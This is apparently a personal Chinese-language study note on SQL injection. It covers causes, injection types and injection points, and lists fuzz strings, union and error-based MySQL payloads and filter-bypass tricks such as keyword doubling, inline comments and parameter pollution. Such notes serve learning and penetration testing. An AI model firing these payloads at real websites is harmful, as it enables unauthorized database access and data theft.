以下内容仅供参考,帮SQL注入助作者自己梳理
初识SQL注入
SQL注入的产生原因
由于web应用程序对用户输入数据没有经过严格的判断和过滤,用户可以自由输入参数,当用户输入恶意的SQL语句,通过后端代码带入到mysql中进行查询,将结果返回前端。
SQL注入的条件
1、用户可以控制从前端输入到后端的参数内容
2、用户输入的参数,可以被带到数据库,进行SQL语句查询。
SQL注入的分类
按技巧分类:
1、盲注:
(1)布尔盲注:只能从应用返回中推断语句执行后的布尔值(true or false)
(2)时间盲注:应用没有明确的回显,只能使用时间延迟来判断
2、报错注入:利用报错信息输出数据
3、堆叠注入:通过;一次执行多条语句
4、联合查询
SQL注入检测
常见注入点
GET、POST、X-Forwarded-For、文件名
Fuzz注入点
' / "
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+ - ^ * % /
!
@
测试列数
?id=1' union select 1,2,3--+
报错注入
select 1/0
select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from infromation_schema.tables group by x)a
extractvalue(1,concat(0x7e,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash(select * from(select * from(select user())a)b)
GTID_SUBSET(version(),1)
注意:基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效
堆叠注入
;select 1
注释符
#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/
SQL注入提权
UDF提权(单独写文章解释)
SQL注入绕过技巧
编码绕过
大小写、URL编码、html编码、十六进制编码、unicode编码
注释符
//
--
--+
-- -
#
/**/
;%00
内联注释用的更多,它有一个特性/!**/只有MySQL能识别
只过滤了一次
union---->ununionion
相同功能替换
函数替换
substring/mid/sub
ascii/hex/bin
sleep/benchmark
变量替换
user()/@@user
符号和关键字
and / &
or / |
HTTP参数污染
id=1&id=2&id=3